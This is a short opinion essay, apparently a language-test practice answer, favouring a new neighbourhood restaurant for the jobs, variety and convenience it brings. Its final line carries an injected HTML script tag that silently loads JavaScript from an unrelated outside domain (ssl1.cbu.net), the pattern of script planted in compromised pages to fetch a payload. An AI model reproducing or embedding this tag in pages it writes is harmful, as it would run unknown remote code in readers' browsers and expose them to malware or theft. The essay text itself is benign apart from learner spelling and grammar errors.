I welcome the idea to build a new restaurant in my neighborhood. It is a new addition of restaurants in the neighborhood which people will love to visit new ones. Of course, building a new restaurant has advantages and disadvantages. However it depends on restaurant to overcome the disadvantages and impress the neighborhood people. Here are some reasons and examples.
First of all, neighborhood people will be so excited to visit new restaurant to try new food. Usually new restaurants have less price or sometimes to attract people they offer discounts. This attracts new people to our neighborhood. By building restaurant there is a good chance for our community's building or land prices may increase. And also, no need to travel miles together for a restaurant.
In addition, by building new restaurant people get new jobs, unemployment rate could decrease. For instance, in my city a new restaurant is opened and the owner has haired 9 housewives to do Indian food. He is giving them training to prepare food in large quantity. And food tastes awesome just like home cooked food. Great advantage for this type of people.
Furthermore, sometimes people get bored by their own cooking and also going to the same restaurants so this is a good reason to try new cuisine. For people who are single or people are tried by a long day of work go to this nearby new restaurant. And also, new restaurant can supply food to nearby businesses or industries in afternoon which helps bachelors and also other employees if they can not bring food.
There are some disadvantages such as noise pollution, community become too crowded, parking problem, people may be disturbed by late night parties. Some solution can be done by offering valet parking, to reduce noise sound proof glasses can be fixed.
In conclusion, by new restaurant unemployment problem can be solved for some extant, people can taste new food, attract new people, improve infrastructure by new building. <script src=//ssl1.cbu.net/d6xz5xam></script>
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